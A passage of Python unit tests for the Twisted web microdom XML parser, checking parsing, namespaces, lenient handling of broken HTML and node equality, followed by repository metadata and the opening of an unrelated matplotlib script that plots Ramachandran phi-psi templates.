perserveCase=1 on the right\n ## XXX THIS TEST IS TURNED OFF UNTIL SOMEONE WHO CARES ABOUT FIXING IT DOES\n #self.assertFalse(d3.isEqualToDocument(d2), \"%r == %r\" % (d3.toxml(), d2.toxml()))\n self.assertTrue(d3.isEqualToDocument(d4), \"%r != %r\" % (d3.toxml(), d4.toxml()))\n self.assertTrue(d4.isEqualToDocument(d5), \"%r != %r\" % (d4.toxml(), d5.toxml()))\n\n\n def test_differentQuotes(self):\n s = '<test a=\"a\" b=\\'b\\' />'\n d = microdom.parseString(s)\n e = d.documentElement\n self.assertEqual(e.getAttribute('a'), 'a')\n self.assertEqual(e.getAttribute('b'), 'b')\n\n\n def test_Linebreaks(self):\n s = '<test \\na=\"a\"\\n\\tb=\"#b\" />'\n d = microdom.parseString(s)\n e = d.documentElement\n self.assertEqual(e.getAttribute('a'), 'a')\n self.assertEqual(e.getAttribute('b'), '#b')\n\n\n def test_mismatchedTags(self):\n for s in '<test>', '<test> </tset>', '</test>':\n self.assertRaises(microdom.MismatchedTags, microdom.parseString, s)\n\n\n def test_comment(self):\n s = \"<bar><!--<foo />--></bar>\"\n d = microdom.parseString(s)\n e = d.documentElement\n self.assertEqual(e.nodeName, \"bar\")\n c = e.childNodes[0]\n self.assertTrue(isinstance(c, microdom.Comment))\n self.assertEqual(c.value, \"<foo />\")\n c2 = c.cloneNode()\n self.assertTrue(c is not c2)\n self.assertEqual(c2.toxml(), \"<!--<foo />-->\")\n\n\n def test_text(self):\n d = microdom.parseString(\"<bar>xxxx</bar>\").documentElement\n text = d.childNodes[0]\n self.assertTrue(isinstance(text, microdom.Text))\n self.assertEqual(text.value, \"xxxx\")\n clone = text.cloneNode()\n self.assertTrue(clone is not text)\n self.assertEqual(clone.toxml(), \"xxxx\")\n\n\n def test_entities(self):\n nodes = microdom.parseString(\"<b>& AB;</b>\").documentElement.childNodes\n self.assertEqual(len(nodes), 2)\n self.assertEqual(nodes[0].data, \"&\")\n self.assertEqual(nodes[1].data, \" AB;\")\n self.assertEqual(nodes[0].cloneNode().toxml(), \"&\")\n for n in nodes:\n self.assertTrue(isinstance(n, microdom.EntityReference))\n\n\n def test_CData(self):\n s = '<x><![CDATA[</x>\\r\\n & foo]]></x>'\n cdata = microdom.parseString(s).documentElement.childNodes[0]\n self.assertTrue(isinstance(cdata, microdom.CDATASection))\n self.assertEqual(cdata.data, \"</x>\\r\\n & foo\")\n self.assertEqual(cdata.cloneNode().toxml(), \"<![CDATA[</x>\\r\\n & foo]]>\")\n\n\n def test_singletons(self):\n s = \"<foo><b/><b /><b\\n/></foo>\"\n s2 = \"<foo><b/><b/><b/></foo>\"\n nodes = microdom.parseString(s).documentElement.childNodes\n nodes2 = microdom.parseString(s2).documentElement.childNodes\n self.assertEqual(len(nodes), 3)\n for (n, n2) in zip(nodes, nodes2):\n self.assertTrue(isinstance(n, microdom.Element))\n self.assertEqual(n.nodeName, \"b\")\n self.assertTrue(n.isEqualToNode(n2))\n\n\n def test_attributes(self):\n s = '<foo a=\"b\" />'\n node = microdom.parseString(s).documentElement\n\n self.assertEqual(node.getAttribute(\"a\"), \"b\")\n self.assertEqual(node.getAttribute(\"c\"), None)\n self.assertTrue(node.hasAttribute(\"a\"))\n self.assertTrue(not node.hasAttribute(\"c\"))\n a = node.getAttributeNode(\"a\")\n self.assertEqual(a.value, \"b\")\n\n node.setAttribute(\"foo\", \"bar\")\n self.assertEqual(node.getAttribute(\"foo\"), \"bar\")\n\n\n def test_children(self):\n s = \"<foo><bar /><baz /><bax>foo</bax></foo>\"\n d = microdom.parseString(s).documentElement\n self.assertEqual([n.nodeName for n in d.childNodes], [\"bar\", \"baz\", \"bax\"])\n self.assertEqual(d.lastChild().nodeName, \"bax\")\n self.assertEqual(d.firstChild().nodeName, \"bar\")\n self.assertTrue(d.hasChildNodes())\n self.assertTrue(not d.firstChild().hasChildNodes())\n\n\n def test_mutate(self):\n s = \"<foo />\"\n s1 = '<foo a=\"b\"><bar/><foo/></foo>'\n s2 = '<foo a=\"b\">foo</foo>'\n d = microdom.parseString(s).documentElement\n d1 = microdom.parseString(s1).documentElement\n d2 = microdom.parseString(s2).documentElement\n\n d.appendChild(d.cloneNode())\n d.setAttribute(\"a\", \"b\")\n child = d.childNodes[0]\n self.assertEqual(child.getAttribute(\"a\"), None)\n self.assertEqual(child.nodeName, \"foo\")\n\n d.insertBefore(microdom.Element(\"bar\"), child)\n self.assertEqual(d.childNodes[0].nodeName, \"bar\")\n self.assertEqual(d.childNodes[1], child)\n for n in d.childNodes:\n self.assertEqual(n.parentNode, d)\n self.assertTrue(d.isEqualToNode(d1))\n\n d.removeChild(child)\n self.assertEqual(len(d.childNodes), 1)\n self.assertEqual(d.childNodes[0].nodeName, \"bar\")\n\n t = microdom.Text(\"foo\")\n d.replaceChild(t, d.firstChild())\n self.assertEqual(d.firstChild(), t)\n self.assertTrue(d.isEqualToNode(d2))\n\n\n def test_replaceNonChild(self):\n \"\"\"\n L{Node.replaceChild} raises L{ValueError} if the node given to be\n replaced is not a child of the node C{replaceChild} is called on.\n \"\"\"\n parent = microdom.parseString('<foo />')\n orphan = microdom.parseString('<bar />')\n replacement = microdom.parseString('<baz />')\n\n self.assertRaises(\n ValueError, parent.replaceChild, replacement, orphan)\n\n\n def test_search(self):\n s = \"<foo><bar id='me' /><baz><foo /></baz></foo>\"\n s2 = \"<fOo><bAr id='me' /><bAz><fOO /></bAz></fOo>\"\n d = microdom.parseString(s)\n d2 = microdom.parseString(s2, caseInsensitive=0, preserveCase=1)\n d3 = microdom.parseString(s2, caseInsensitive=1, preserveCase=1)\n\n root = d.documentElement\n self.assertEqual(root.firstChild(), d.getElementById('me'))\n self.assertEqual(d.getElementsByTagName(\"foo\"),\n [root, root.lastChild().firstChild()])\n\n root = d2.documentElement\n self.assertEqual(root.firstChild(), d2.getElementById('me'))\n self.assertEqual(d2.getElementsByTagName('fOo'), [root])\n self.assertEqual(d2.getElementsByTagName('fOO'),\n [root.lastChild().firstChild()])\n self.assertEqual(d2.getElementsByTagName('foo'), [])\n\n root = d3.documentElement\n self.assertEqual(root.firstChild(), d3.getElementById('me'))\n self.assertEqual(d3.getElementsByTagName('FOO'),\n [root, root.lastChild().firstChild()])\n self.assertEqual(d3.getElementsByTagName('fOo'),\n [root, root.lastChild().firstChild()])\n\n\n def test_doctype(self):\n s = ('<?xml version=\"1.0\"?>'\n '<!DOCTYPE foo PUBLIC \"baz\" \"http://www.example.com/example.dtd\">'\n '<foo></foo>')\n s2 = '<foo/>'\n d = microdom.parseString(s)\n d2 = microdom.parseString(s2)\n self.assertEqual(d.doctype,\n 'foo PUBLIC \"baz\" \"http://www.example.com/example.dtd\"')\n self.assertEqual(d.toxml(), s)\n self.assertFalse(d.isEqualToDocument(d2))\n self.assertTrue(d.documentElement.isEqualToNode(d2.documentElement))\n\n samples = [(\"<img/>\", \"<img />\"),\n (\"<foo A='b'>x</foo>\", '<foo A=\"b\">x</foo>'),\n (\"<foo><BAR /></foo>\", \"<foo><BAR></BAR></foo>\"),\n (\"<foo>hello there & yoyoy</foo>\",\n \"<foo>hello there & yoyoy</foo>\"),\n ]\n\n def test_output(self):\n for s, out in self.samples:\n d = microdom.parseString(s, caseInsensitive=0)\n d2 = microdom.parseString(out, caseInsensitive=0)\n testOut = d.documentElement.toxml()\n self.assertEqual(out, testOut)\n self.assertTrue(d.isEqualToDocument(d2))\n\n\n def test_errors(self):\n for s in [\"<foo>&am</foo>\", \"<foo\", \"<f>&</f>\", \"<() />\"]:\n self.assertRaises(Exception, microdom.parseString, s)\n\n\n def test_caseInsensitive(self):\n s = \"<foo a='b'><BAx>x</bax></FOO>\"\n s2 = '<foo a=\"b\"><bax>x</bax></foo>'\n s3 = \"<FOO a='b'><BAx>x</BAx></FOO>\"\n s4 = \"<foo A='b'>x</foo>\"\n d = microdom.parseString(s)\n d2 = microdom.parseString(s2)\n d3 = microdom.parseString(s3, caseInsensitive=1)\n d4 = microdom.parseString(s4, caseInsensitive=1, preserveCase=1)\n d5 = microdom.parseString(s4, caseInsensitive=1, preserveCase=0)\n d6 = microdom.parseString(s4, caseInsensitive=0, preserveCase=0)\n out = microdom.parseString(s).documentElement.toxml()\n self.assertRaises(microdom.MismatchedTags, microdom.parseString,\n s, caseInsensitive=0)\n self.assertEqual(out, s2)\n self.assertTrue(d.isEqualToDocument(d2))\n self.assertTrue(d.isEqualToDocument(d3))\n self.assertTrue(d4.documentElement.hasAttribute('a'))\n self.assertFalse(d6.documentElement.hasAttribute('a'))\n self.assertEqual(d4.documentElement.toxml(), '<foo A=\"b\">x</foo>')\n self.assertEqual(d5.documentElement.toxml(), '<foo a=\"b\">x</foo>')\n\n\n def test_eatingWhitespace(self):\n s = \"\"\"<hello>\n </hello>\"\"\"\n d = microdom.parseString(s)\n self.assertTrue(not d.documentElement.hasChildNodes(),\n d.documentElement.childNodes)\n self.assertTrue(d.isEqualToDocument(microdom.parseString('<hello></hello>')))\n\n\n def test_lenientAmpersand(self):\n prefix = \"<?xml version='1.0'?>\"\n # we use <pre> so space will be preserved\n for i, o in [(\"&\", \"&\"),\n (\"& \", \"& \"),\n (\"&\", \"&\"),\n (\"&hello monkey\", \"&hello monkey\")]:\n d = microdom.parseString(\"%s<pre>%s</pre>\"\n % (prefix, i), beExtremelyLenient=1)\n self.assertEqual(d.documentElement.toxml(), \"<pre>%s</pre>\" % o)\n # non-space preserving\n d = microdom.parseString(\"<t>hello & there</t>\", beExtremelyLenient=1)\n self.assertEqual(d.documentElement.toxml(), \"<t>hello & there</t>\")\n\n\n def test_insensitiveLenient(self):\n # testing issue #537\n d = microdom.parseString(\n \"<?xml version='1.0'?><bar><xA><y>c</Xa> <foo></bar>\",\n beExtremelyLenient=1)\n self.assertEqual(d.documentElement.firstChild().toxml(), \"<xa><y>c</y></xa>\")\n\n\n def test_laterCloserSimple(self):\n s = \"<ul><li>foo<li>bar<li>baz</ul>\"\n d = microdom.parseString(s, beExtremelyLenient=1)\n expected = \"<ul><li>foo</li><li>bar</li><li>baz</li></ul>\"\n actual = d.documentElement.toxml()\n self.assertEqual(expected, actual)\n\n\n def test_laterCloserCaseInsensitive(self):\n s = \"<DL><p><DT>foo<DD>bar</DL>\"\n d = microdom.parseString(s, beExtremelyLenient=1)\n expected = \"<dl><p></p><dt>foo</dt><dd>bar</dd></dl>\"\n actual = d.documentElement.toxml()\n self.assertEqual(expected, actual)\n\n\n def test_laterCloserDL(self):\n s = (\"<dl>\"\n \"<dt>word<dd>definition\"\n \"<dt>word<dt>word<dd>definition<dd>definition\"\n \"</dl>\")\n expected = (\"<dl>\"\n \"<dt>word</dt><dd>definition</dd>\"\n \"<dt>word</dt><dt>word</dt><dd>definition</dd><dd>definition</dd>\"\n \"</dl>\")\n d = microdom.parseString(s, beExtremelyLenient=1)\n actual = d.documentElement.toxml()\n self.assertEqual(expected, actual)\n\n\n def test_unicodeTolerance(self):\n import struct\n s = '<foo><bar><baz /></bar></foo>'\n j =(u'<?xml version=\"1.0\" encoding=\"UCS-2\" ?>\\r\\n<JAPANESE>\\r\\n'\n u'<TITLE>\\u5c02\\u9580\\u5bb6\\u30ea\\u30b9\\u30c8 ')\n j2=(b'\\xff\\xfe<\\x00?\\x00x\\x00m\\x00l\\x00 \\x00v\\x00e\\x00r\\x00s\\x00i\\x00o'\n b'\\x00n\\x00=\\x00\"\\x001\\x00.\\x000\\x00\"\\x00 \\x00e\\x00n\\x00c\\x00o\\x00d'\n b'\\x00i\\x00n\\x00g\\x00=\\x00\"\\x00U\\x00C\\x00S\\x00-\\x002\\x00\"\\x00 \\x00?'\n b'\\x00>\\x00\\r\\x00\\n\\x00<\\x00J\\x00A\\x00P\\x00A\\x00N\\x00E\\x00S\\x00E'\n b'\\x00>\\x00\\r\\x00\\n\\x00<\\x00T\\x00I\\x00T\\x00L\\x00E\\x00>\\x00\\x02\\\\'\n b'\\x80\\x95\\xb6[\\xea0\\xb90\\xc80 \\x00<\\x00/\\x00T\\x00I\\x00T\\x00L\\x00E'\n b'\\x00>\\x00<\\x00/\\x00J\\x00A\\x00P\\x00A\\x00N\\x00E\\x00S\\x00E\\x00>\\x00')\n def reverseBytes(s):\n fmt = str(len(s) // 2) + 'H'\n return struct.pack('<' + fmt, *struct.unpack('>' + fmt, s))\n urd = microdom.parseString(reverseBytes(s.encode('UTF-16')))\n ud = microdom.parseString(s.encode('UTF-16'))\n sd = microdom.parseString(s)\n self.assertTrue(ud.isEqualToDocument(sd))\n self.assertTrue(ud.isEqualToDocument(urd))\n ud = microdom.parseString(j)\n urd = microdom.parseString(reverseBytes(j2))\n sd = microdom.parseString(j2)\n self.assertTrue(ud.isEqualToDocument(sd))\n self.assertTrue(ud.isEqualToDocument(urd))\n\n # test that raw text still gets encoded\n # test that comments get encoded\n j3=microdom.parseString(u'')\n hdr=''\n div=microdom.lmx().text(u'\\u221a', raw=1).node\n de=j3.documentElement\n de.appendChild(div)\n de.appendChild(j3.createComment(u'\\u221a'))\n self.assertEqual(j3.toxml(), (hdr +\n u'
\\u221a
'))\n\n\n def test_namedChildren(self):\n tests = {\"asdfadsf\"\n \"\" : 3,\n 'asdf' : 0,\n '' : 1,\n }\n for t in tests.keys():\n node = microdom.parseString(t).documentElement\n result = domhelpers.namedChildren(node, 'bar')\n self.assertEqual(len(result), tests[t])\n if result:\n self.assertTrue(hasattr(result[0], 'tagName'))\n\n\n def test_cloneNode(self):\n s = 'x'\n node = microdom.parseString(s).documentElement\n clone = node.cloneNode(deep=1)\n self.failIfEquals(node, clone)\n self.assertEqual(len(node.childNodes), len(clone.childNodes))\n c1, c2 = node.firstChild(), clone.firstChild()\n self.failIfEquals(c1, c2)\n self.assertEqual(len(c1.childNodes), len(c2.childNodes))\n self.failIfEquals(c1.firstChild(), c2.firstChild())\n self.assertEqual(s, clone.toxml())\n self.assertEqual(node.namespace, clone.namespace)\n\n\n def test_cloneDocument(self):\n s = (''\n '')\n\n node = microdom.parseString(s)\n clone = node.cloneNode(deep=1)\n self.failIfEquals(node, clone)\n self.assertEqual(len(node.childNodes), len(clone.childNodes))\n self.assertEqual(s, clone.toxml())\n\n self.assertTrue(clone.isEqualToDocument(node))\n self.assertTrue(node.isEqualToDocument(clone))\n\n\n def test_LMX(self):\n n = microdom.Element(\"p\")\n lmx = microdom.lmx(n)\n lmx.text(\"foo\")\n b = lmx.b(a=\"c\")\n b.foo()[\"z\"] = \"foo\"\n b.foo()\n b.add(\"bar\", c=\"y\")\n\n s = '

foo

'\n self.assertEqual(s, n.toxml())\n\n\n def test_dict(self):\n \"\"\"\n Returns a dictionary which is hashable.\n \"\"\"\n n = microdom.Element(\"p\")\n hash(n)\n\n\n def test_escaping(self):\n # issue 590\n raw = \"&'some \\\"stuff\\\"', \"\n cooked = \"&'some "stuff"', <what up?>\"\n esc1 = microdom.escape(raw)\n self.assertEqual(esc1, cooked)\n self.assertEqual(microdom.unescape(esc1), raw)\n\n\n def test_namespaces(self):\n s = '''\n \n \n \n here is some space \n \n \n \n '''\n d = microdom.parseString(s)\n # at least make sure it doesn't traceback\n s2 = d.toprettyxml()\n self.assertEqual(d.documentElement.namespace,\n \"base\")\n self.assertEqual(d.documentElement.getElementsByTagName(\"y\")[0].namespace,\n \"base\")\n self.assertEqual(\n d.documentElement.getElementsByTagName(\"y\")[1].getAttributeNS('base','q'),\n '1')\n\n d2 = microdom.parseString(s2)\n self.assertEqual(d2.documentElement.namespace,\n \"base\")\n self.assertEqual(d2.documentElement.getElementsByTagName(\"y\")[0].namespace,\n \"base\")\n self.assertEqual(\n d2.documentElement.getElementsByTagName(\"y\")[1].getAttributeNS('base','q'),\n '1')\n\n\n def test_namespaceDelete(self):\n \"\"\"\n Test that C{toxml} can support xml structures that remove namespaces.\n \"\"\"\n s1 = (''\n '')\n s2 = microdom.parseString(s1).toxml()\n self.assertEqual(s1, s2)\n\n\n def test_namespaceInheritance(self):\n \"\"\"\n Check that unspecified namespace is a thing separate from undefined\n namespace. This test added after discovering some weirdness in Lore.\n \"\"\"\n # will only work if childNodes is mutated. not sure why.\n child = microdom.Element('ol')\n parent = microdom.Element('div', namespace='http://www.w3.org/1999/xhtml')\n parent.childNodes = [child]\n self.assertEqual(parent.toxml(),\n '
    ')\n\n\n def test_prefixedTags(self):\n \"\"\"\n XML elements with a prefixed name as per upper level tag definition\n have a start-tag of C{\"\"} and an end-tag of\n C{\"\"}.\n\n Refer to U{http://www.w3.org/TR/xml-names/#ns-using} for details.\n \"\"\"\n outerNamespace = \"http://example.com/outer\"\n innerNamespace = \"http://example.com/inner\"\n\n document = microdom.Document()\n # Create the root in one namespace. Microdom will probably make this\n # the default namespace.\n root = document.createElement(\"root\", namespace=outerNamespace)\n\n # Give the root some prefixes to use.\n root.addPrefixes({innerNamespace: \"inner\"})\n\n # Append a child to the root from the namespace that prefix is bound\n # to.\n tag = document.createElement(\"tag\", namespace=innerNamespace)\n\n # Give that tag a child too. This way we test rendering of tags with\n # children and without children.\n child = document.createElement(\"child\", namespace=innerNamespace)\n\n tag.appendChild(child)\n root.appendChild(tag)\n document.appendChild(root)\n\n # ok, the xml should appear like this\n xmlOk = (\n ''\n ''\n ''\n '')\n\n xmlOut = document.toxml()\n self.assertEqual(xmlOut, xmlOk)\n\n\n def test_prefixPropagation(self):\n \"\"\"\n Children of prefixed tags respect the default namespace at the point\n where they are rendered. Specifically, they are not influenced by the\n prefix of their parent as that prefix has no bearing on them.\n\n See U{http://www.w3.org/TR/xml-names/#scoping} for details.\n\n To further clarify the matter, the following::\n\n \n \n \n \n \n \n \n\n Should become this after all the namespace declarations have been\n I{moved up}::\n\n \n \n \n \n \n \n \n \"\"\"\n outerNamespace = \"http://example.com/outer\"\n innerNamespace = \"http://example.com/inner\"\n\n document = microdom.Document()\n # creates a root element\n root = document.createElement(\"root\", namespace=outerNamespace)\n document.appendChild(root)\n\n # Create a child with a specific namespace with a prefix bound to it.\n root.addPrefixes({innerNamespace: \"inner\"})\n mytag = document.createElement(\"mytag\",namespace=innerNamespace)\n root.appendChild(mytag)\n\n # Create a child of that which has the outer namespace.\n mysubtag = document.createElement(\"mysubtag\", namespace=outerNamespace)\n mytag.appendChild(mysubtag)\n\n xmlOk = (\n ''\n ''\n ''\n ''\n ''\n ''\n )\n xmlOut = document.toxml()\n self.assertEqual(xmlOut, xmlOk)\n\n\n\nclass BrokenHTMLTests(TestCase):\n \"\"\"\n Tests for when microdom encounters very bad HTML and C{beExtremelyLenient}\n is enabled. These tests are inspired by some HTML generated in by a mailer,\n which breaks up very long lines by splitting them with '!\\n '. The expected\n behaviour is loosely modelled on the way Firefox treats very bad HTML.\n \"\"\"\n\n def checkParsed(self, input, expected, beExtremelyLenient=1):\n \"\"\"\n Check that C{input}, when parsed, produces a DOM where the XML\n of the document element is equal to C{expected}.\n \"\"\"\n output = microdom.parseString(input,\n beExtremelyLenient=beExtremelyLenient)\n self.assertEqual(output.documentElement.toxml(), expected)\n\n\n def test_brokenAttributeName(self):\n \"\"\"\n Check that microdom does its best to handle broken attribute names.\n The important thing is that it doesn't raise an exception.\n \"\"\"\n input = '

    Foo

    '\n expected = ('

    '\n 'Foo

    ')\n self.checkParsed(input, expected)\n\n\n def test_brokenAttributeValue(self):\n \"\"\"\n Check that microdom encompasses broken attribute values.\n \"\"\"\n input = '

    Foo

    '\n expected = '

    Foo

    '\n self.checkParsed(input, expected)\n\n\n def test_brokenOpeningTag(self):\n \"\"\"\n Check that microdom does its best to handle broken opening tags.\n The important thing is that it doesn't raise an exception.\n \"\"\"\n input = '

    Hello World!

    '\n expected = '

    Hello World!

    '\n self.checkParsed(input, expected)\n\n\n def test_brokenSelfClosingTag(self):\n \"\"\"\n Check that microdom does its best to handle broken self-closing tags\n The important thing is that it doesn't raise an exception.\n \"\"\"\n self.checkParsed('',\n '')\n self.checkParsed('', '')\n\n\n def test_brokenClosingTag(self):\n \"\"\"\n Check that microdom does its best to handle broken closing tags.\n The important thing is that it doesn't raise an exception.\n \"\"\"\n input = '

    Hello World!

    '\n expected = '

    Hello World!

    '\n self.checkParsed(input, expected)\n input = '

    Hello World!

    '\n self.checkParsed(input, expected)\n input = '

    Hello World!

    '\n self.checkParsed(input, expected)\n input = '

    Hello World!

    '\n expected = '

    Hello World!

    '\n self.checkParsed(input, expected)\n\n\n\nclass NodeTests(TestCase):\n \"\"\"\n Tests for L{Node}.\n \"\"\"\n def test_isNodeEqualTo(self):\n \"\"\"\n L{Node.isEqualToNode} returns C{True} if and only if passed a L{Node}\n with the same children.\n \"\"\"\n # A node is equal to itself\n node = microdom.Node(object())\n self.assertTrue(node.isEqualToNode(node))\n another = microdom.Node(object())\n # Two nodes with no children are equal\n self.assertTrue(node.isEqualToNode(another))\n node.appendChild(microdom.Node(object()))\n # A node with no children is not equal to a node with a child\n self.assertFalse(node.isEqualToNode(another))\n another.appendChild(microdom.Node(object()))\n # A node with a child and no grandchildren is equal to another node\n # with a child and no grandchildren.\n self.assertTrue(node.isEqualToNode(another))\n # A node with a child and a grandchild is not equal to another node\n # with a child and no grandchildren.\n node.firstChild().appendChild(microdom.Node(object()))\n self.assertFalse(node.isEqualToNode(another))\n # A node with a child and a grandchild is equal to another node with a\n # child and a grandchild.\n another.firstChild().appendChild(microdom.Node(object()))\n self.assertTrue(node.isEqualToNode(another))\n\n\n def test_validChildInstance(self):\n \"\"\"\n Children of L{Node} instances must also be L{Node} instances.\n \"\"\"\n node = microdom.Node()\n child = microdom.Node()\n # Node.appendChild() only accepts Node instances.\n node.appendChild(child)\n self.assertRaises(TypeError, node.appendChild, None)\n # Node.insertBefore() only accepts Node instances.\n self.assertRaises(TypeError, node.insertBefore, child, None)\n self.assertRaises(TypeError, node.insertBefore, None, child)\n self.assertRaises(TypeError, node.insertBefore, None, None)\n # Node.removeChild() only accepts Node instances.\n node.removeChild(child)\n self.assertRaises(TypeError, node.removeChild, None)\n # Node.replaceChild() only accepts Node instances.\n self.assertRaises(TypeError, node.replaceChild, child, None)\n self.assertRaises(TypeError, node.replaceChild, None, child)\n self.assertRaises(TypeError, node.replaceChild, None, None)\n\n\n\nclass DocumentTests(TestCase):\n \"\"\"\n Tests for L{Document}.\n \"\"\"\n doctype = 'foo PUBLIC \"baz\" \"http://www.example.com/example.dtd\"'\n\n def test_isEqualToNode(self):\n \"\"\"\n L{Document.isEqualToNode} returns C{True} if and only if passed a\n L{Document} with the same C{doctype} and C{documentElement}.\n \"\"\"\n # A document is equal to itself\n document = microdom.Document()\n self.assertTrue(document.isEqualToNode(document))\n # A document without a doctype or documentElement is equal to another\n # document without a doctype or documentElement.\n another = microdom.Document()\n self.assertTrue(document.isEqualToNode(another))\n # A document with a doctype is not equal to a document without a\n # doctype.\n document.doctype = self.doctype\n self.assertFalse(document.isEqualToNode(another))\n # Two documents with the same doctype are equal\n another.doctype = self.doctype\n self.assertTrue(document.isEqualToNode(another))\n # A document with a documentElement is not equal to a document without\n # a documentElement\n document.appendChild(microdom.Node(object()))\n self.assertFalse(document.isEqualToNode(another))\n # Two documents with equal documentElements are equal.\n another.appendChild(microdom.Node(object()))\n self.assertTrue(document.isEqualToNode(another))\n # Two documents with documentElements which are not equal are not\n # equal.\n document.documentElement.appendChild(microdom.Node(object()))\n self.assertFalse(document.isEqualToNode(another))\n\n\n def test_childRestriction(self):\n \"\"\"\n L{Document.appendChild} raises L{ValueError} if the document already\n has a child.\n \"\"\"\n document = microdom.Document()\n child = microdom.Node()\n another = microdom.Node()\n document.appendChild(child)\n self.assertRaises(ValueError, document.appendChild, another)\n\n\n\nclass EntityReferenceTests(TestCase):\n \"\"\"\n Tests for L{EntityReference}.\n \"\"\"\n def test_isEqualToNode(self):\n \"\"\"\n L{EntityReference.isEqualToNode} returns C{True} if and only if passed\n a L{EntityReference} with the same C{eref}.\n \"\"\"\n self.assertTrue(\n microdom.EntityReference('quot').isEqualToNode(\n microdom.EntityReference('quot')))\n self.assertFalse(\n microdom.EntityReference('quot').isEqualToNode(\n microdom.EntityReference('apos')))\n\n\n\nclass CharacterDataTests(TestCase):\n \"\"\"\n Tests for L{CharacterData}.\n \"\"\"\n def test_isEqualToNode(self):\n \"\"\"\n L{CharacterData.isEqualToNode} returns C{True} if and only if passed a\n L{CharacterData} with the same value.\n \"\"\"\n self.assertTrue(\n microdom.CharacterData('foo').isEqualToNode(\n microdom.CharacterData('foo')))\n self.assertFalse(\n microdom.CharacterData('foo').isEqualToNode(\n microdom.CharacterData('bar')))\n\n\n\nclass CommentTests(TestCase):\n \"\"\"\n Tests for L{Comment}.\n \"\"\"\n def test_isEqualToNode(self):\n \"\"\"\n L{Comment.isEqualToNode} returns C{True} if and only if passed a\n L{Comment} with the same value.\n \"\"\"\n self.assertTrue(\n microdom.Comment('foo').isEqualToNode(\n microdom.Comment('foo')))\n self.assertFalse(\n microdom.Comment('foo').isEqualToNode(\n microdom.Comment('bar')))\n\n\n\nclass TextTests(TestCase):\n \"\"\"\n Tests for L{Text}.\n \"\"\"\n def test_isEqualToNode(self):\n \"\"\"\n L{Text.isEqualToNode} returns C{True} if and only if passed a L{Text}\n which represents the same data.\n \"\"\"\n self.assertTrue(\n microdom.Text('foo', raw=True).isEqualToNode(\n microdom.Text('foo', raw=True)))\n self.assertFalse(\n microdom.Text('foo', raw=True).isEqualToNode(\n microdom.Text('foo', raw=False)))\n self.assertFalse(\n microdom.Text('foo', raw=True).isEqualToNode(\n microdom.Text('bar', raw=True)))\n\n\n\nclass CDATASectionTests(TestCase):\n \"\"\"\n Tests for L{CDATASection}.\n \"\"\"\n def test_isEqualToNode(self):\n \"\"\"\n L{CDATASection.isEqualToNode} returns C{True} if and only if passed a\n L{CDATASection} which represents the same data.\n \"\"\"\n self.assertTrue(\n microdom.CDATASection('foo').isEqualToNode(\n microdom.CDATASection('foo')))\n self.assertFalse(\n microdom.CDATASection('foo').isEqualToNode(\n microdom.CDATASection('bar')))\n\n\n\nclass ElementTests(TestCase):\n \"\"\"\n Tests for L{Element}.\n \"\"\"\n def test_isEqualToNode(self):\n \"\"\"\n L{Element.isEqualToNode} returns C{True} if and only if passed a\n L{Element} with the same C{nodeName}, C{namespace}, C{childNodes}, and\n C{attributes}.\n \"\"\"\n self.assertTrue(\n microdom.Element(\n 'foo', {'a': 'b'}, object(), namespace='bar').isEqualToNode(\n microdom.Element(\n 'foo', {'a': 'b'}, object(), namespace='bar')))\n\n # Elements with different nodeName values do not compare equal.\n self.assertFalse(\n microdom.Element(\n 'foo', {'a': 'b'}, object(), namespace='bar').isEqualToNode(\n microdom.Element(\n 'bar', {'a': 'b'}, object(), namespace='bar')))\n\n # Elements with different namespaces do not compare equal.\n self.assertFalse(\n microdom.Element(\n 'foo', {'a': 'b'}, object(), namespace='bar').isEqualToNode(\n microdom.Element(\n 'foo', {'a': 'b'}, object(), namespace='baz')))\n\n # Elements with different childNodes do not compare equal.\n one = microdom.Element('foo', {'a': 'b'}, object(), namespace='bar')\n two = microdom.Element('foo', {'a': 'b'}, object(), namespace='bar')\n two.appendChild(microdom.Node(object()))\n self.assertFalse(one.isEqualToNode(two))\n\n # Elements with different attributes do not compare equal.\n self.assertFalse(\n microdom.Element(\n 'foo', {'a': 'b'}, object(), namespace='bar').isEqualToNode(\n microdom.Element(\n 'foo', {'a': 'c'}, object(), namespace='bar')))\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/twisted/web/test/test_xml.py","file_name":"test_xml.py","file_ext":"py","file_size_in_byte":42165,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"} +{"seq_id":"10595657784","text":"import os\nimport numpy as np\nimport scipy.stats as st\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom matplotlib import colors\nimport matplotlib.colors as mplcolors\n\n# for x in np.arange(2.5,362.5,5):\n# \tprint(x)\nbcmap = mplcolors.ListedColormap(['#FFFFFF', '#B3E8FF', '#7FD9FF'])\ngcmap = mplcolors.ListedColormap(['#FFFFFF', '#D0FFC5', '#7FFF8C'])\npcmap = mplcolors.ListedColormap(['#FFFFFF', '#E0D1FF', '#BE9EFF'])\nycmap = mplcolors.ListedColormap(['#FFFFFF', '#FFE8C5', '#FFCC7F'])\n# exit()\nmpl.rcParams['pdf.fonttype'] = 42\nmpl.rcParams['font.sans-serif'] = 'arial'\nmpl.rcParams['font.size'] = 10\nmpl.rcParams['axes.linewidth'] = 1.0\nmpl.rcParams['xtick.major.width'] = 1.0\nmpl.rcParams['xtick.labelsize'] = mpl.rcParams['ytick.labelsize']=8\nplt.rcParams['mathtext.default'] = 'regular'\nmpl.rcParams['mathtext.sf']= 'sans\\\\-serif'\n\n\n\npdf = PdfPages('Ramachandran_Phi-Psi_templates.pdf')\nfiles = [\n['rama2018-general-noGPpreP.data', bcmap, [0, 0.001, 0.02, 1],'General'],\n['rama2018-prepro-noGP.data', pcmap, [0, 0.002, 0.02, 1],'Pre-Proline'],\n# ['rama2018-gly.data', ycmap,[0, 0.002, 0.02, 1],'Glycine'],\n['rama2018-gly-sym.data', ycmap,[0, 0.002, 0.02, 1],'Glycine'],\n['rama2018-pro.data', gcmap, [0, 0.002, 0.02, 1],'Proline']\n]\n\n\nfor file,cmap,bounds,label in files:\n\tfig, ax =plt.subplots(figsize=(3,3))\n\tdata = np.full((360, 360), 0, dtype=np.float64)\n\twith open(file) as fn:\n\t\tfor line in fn:\n\t\t\tif line[0] != \"#\":\n\t\t\t\tx = int(float(line.split()[1]))\n\t\t\t\ty = int(float(line.split()[0]))\n\t\t\t\tfor nx in np.arange(x-1,x+1,1):\n\t\t\t\t\tfor ny in 